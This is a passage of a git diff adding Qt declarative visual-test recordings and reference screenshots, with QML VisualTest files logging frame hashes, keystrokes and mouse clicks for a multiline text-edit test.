+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 2640
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 2656
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 2672
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2688
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 2704
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 2720
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 2736
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Frame {
+ msec: 2752
+ hash: "86e1ba72951c0c193bfd2cd2162c500e"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2768
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 2784
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 2800
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2816
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 2832
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 2848
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Frame {
+ msec: 2864
+ hash: "e5fd0e8d81d75fb53e21b6daa8e0fc7f"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2880
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 2896
+ image: "qt-669.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 2928
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2944
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 2960
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 2976
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 2992
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Frame {
+ msec: 3008
+ hash: "e2a49d72741ba08c258bb70d3a13c7f6"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3024
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3040
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3056
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3072
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3088
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3104
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3120
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3136
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3152
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3168
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3184
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3200
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3216
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3232
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3248
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3264
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3280
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3296
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3312
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3328
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3344
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3360
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3376
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3392
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3408
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3424
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3440
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3456
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3472
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3488
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3504
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3520
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3536
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3552
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3568
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3584
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3600
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3616
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3632
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3648
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3664
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3680
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Frame {
+ msec: 3696
+ hash: "1d69ccdf88fa78b44a77147190bf1dfc"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3712
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3728
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3744
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3760
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3776
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3792
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3808
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3824
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3840
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3856
+ image: "qt-669.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3888
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3904
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3920
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3936
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3952
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3968
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 3984
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4000
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4016
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4032
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4048
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4064
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4080
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4096
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4112
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4128
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4144
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4160
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4176
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4192
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4208
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4224
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4240
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4256
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4272
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4288
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+ Frame {
+ msec: 4304
+ hash: "32c2b08a6123015ca72f283f89ee1663"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.0.png
new file mode 100644
index 00000000..5049c3f8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.1.png
new file mode 100644
index 00000000..ee6e16a3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.10.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.10.png
new file mode 100644
index 00000000..d9d22520
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.11.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.11.png
new file mode 100644
index 00000000..d9d22520
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.11.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.12.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.12.png
new file mode 100644
index 00000000..5cd2d7d4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.12.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.2.png
new file mode 100644
index 00000000..cf99d98c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.3.png
new file mode 100644
index 00000000..e3937f03
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.4.png
new file mode 100644
index 00000000..2fe33379
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.5.png
new file mode 100644
index 00000000..97b99134
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.6.png
new file mode 100644
index 00000000..08e059f8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.7.png
new file mode 100644
index 00000000..bbc5ba24
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.8.png
new file mode 100644
index 00000000..465b64e8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.9.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.9.png
new file mode 100644
index 00000000..d9d22520
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.qml
new file mode 100644
index 00000000..a064bf37
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.qml
@@ -0,0 +1,4687 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "usingMultilineEdit.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 48
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 64
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 80
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 96
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 112
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 128
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 144
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 160
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 176
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 192
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 208
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 224
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 240
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 256
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 272
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 288
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 304
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 320
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 118; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 336
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 352
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 368
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 384
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 400
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 118; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 416
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 432
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 448
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 464
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 480
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 496
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 512
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 528
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 544
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 560
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 576
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 592
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 608
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 624
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Frame {
+ msec: 640
+ hash: "9d5bfe023a03fde612678d000e7d4135"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 117; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 656
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 672
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 117; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 688
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 704
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 720
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 736
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 752
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 768
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 784
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 800
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 816
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 832
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 848
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 864
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 880
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 896
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 912
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 928
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 944
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 960
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 976
+ image: "usingMultilineEdit.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1008
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1024
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1040
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1056
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1072
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1088
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1104
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1120
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1136
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1152
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1168
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1184
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1200
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1216
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1232
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1248
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1264
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1280
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Frame {
+ msec: 1296
+ hash: "73232e1c199b5dda158a7e765386a716"
+ }
+ Key {
+ type: 6
+ key: 44
+ modifiers: 0
+ text: "2c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1312
+ hash: "75aa32bf4bfdda0dfcf04768bf931da6"
+ }
+ Frame {
+ msec: 1328
+ hash: "75aa32bf4bfdda0dfcf04768bf931da6"
+ }
+ Frame {
+ msec: 1344
+ hash: "75aa32bf4bfdda0dfcf04768bf931da6"
+ }
+ Frame {
+ msec: 1360
+ hash: "75aa32bf4bfdda0dfcf04768bf931da6"
+ }
+ Frame {
+ msec: 1376
+ hash: "75aa32bf4bfdda0dfcf04768bf931da6"
+ }
+ Key {
+ type: 7
+ key: 44
+ modifiers: 0
+ text: "2c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1392
+ hash: "75aa32bf4bfdda0dfcf04768bf931da6"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1408
+ hash: "7243b903b5b7d8c323a233ae13a2ddf3"
+ }
+ Frame {
+ msec: 1424
+ hash: "7243b903b5b7d8c323a233ae13a2ddf3"
+ }
+ Frame {
+ msec: 1440
+ hash: "7243b903b5b7d8c323a233ae13a2ddf3"
+ }
+ Frame {
+ msec: 1456
+ hash: "7243b903b5b7d8c323a233ae13a2ddf3"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1472
+ hash: "7243b903b5b7d8c323a233ae13a2ddf3"
+ }
+ Frame {
+ msec: 1488
+ hash: "7243b903b5b7d8c323a233ae13a2ddf3"
+ }
+ Frame {
+ msec: 1504
+ hash: "7243b903b5b7d8c323a233ae13a2ddf3"
+ }
+ Frame {
+ msec: 1520
+ hash: "7243b903b5b7d8c323a233ae13a2ddf3"
+ }
+ Frame {
+ msec: 1536
+ hash: "7243b903b5b7d8c323a233ae13a2ddf3"
+ }
+ Frame {
+ msec: 1552
+ hash: "7243b903b5b7d8c323a233ae13a2ddf3"
+ }
+ Key {
+ type: 6
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1568
+ hash: "676834a4ee84cb251c6ed102be89ea2e"
+ }
+ Frame {
+ msec: 1584
+ hash: "676834a4ee84cb251c6ed102be89ea2e"
+ }
+ Frame {
+ msec: 1600
+ hash: "676834a4ee84cb251c6ed102be89ea2e"
+ }
+ Key {
+ type: 7
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1616
+ hash: "676834a4ee84cb251c6ed102be89ea2e"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1632
+ hash: "74a81081cd0547624cc4168e824b48b8"
+ }
+ Frame {
+ msec: 1648
+ hash: "74a81081cd0547624cc4168e824b48b8"
+ }
+ Frame {
+ msec: 1664
+ hash: "74a81081cd0547624cc4168e824b48b8"
+ }
+ Frame {
+ msec: 1680
+ hash: "74a81081cd0547624cc4168e824b48b8"
+ }
+ Frame {
+ msec: 1696
+ hash: "74a81081cd0547624cc4168e824b48b8"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1712
+ hash: "74a81081cd0547624cc4168e824b48b8"
+ }
+ Frame {
+ msec: 1728
+ hash: "74a81081cd0547624cc4168e824b48b8"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1744
+ hash: "4c736b2bffb38df898478e3d0ce37fb0"
+ }
+ Frame {
+ msec: 1760
+ hash: "4c736b2bffb38df898478e3d0ce37fb0"
+ }
+ Frame {
+ msec: 1776
+ hash: "4c736b2bffb38df898478e3d0ce37fb0"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "4c736b2bffb38df898478e3d0ce37fb0"
+ }
+ Frame {
+ msec: 1808
+ hash: "4c736b2bffb38df898478e3d0ce37fb0"
+ }
+ Frame {
+ msec: 1824
+ hash: "4c736b2bffb38df898478e3d0ce37fb0"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1840
+ hash: "fd070c77e33e1498bacf0076903d33d7"
+ }
+ Frame {
+ msec: 1856
+ hash: "fd070c77e33e1498bacf0076903d33d7"
+ }
+ Frame {
+ msec: 1872
+ hash: "fd070c77e33e1498bacf0076903d33d7"
+ }
+ Frame {
+ msec: 1888
+ hash: "fd070c77e33e1498bacf0076903d33d7"
+ }
+ Frame {
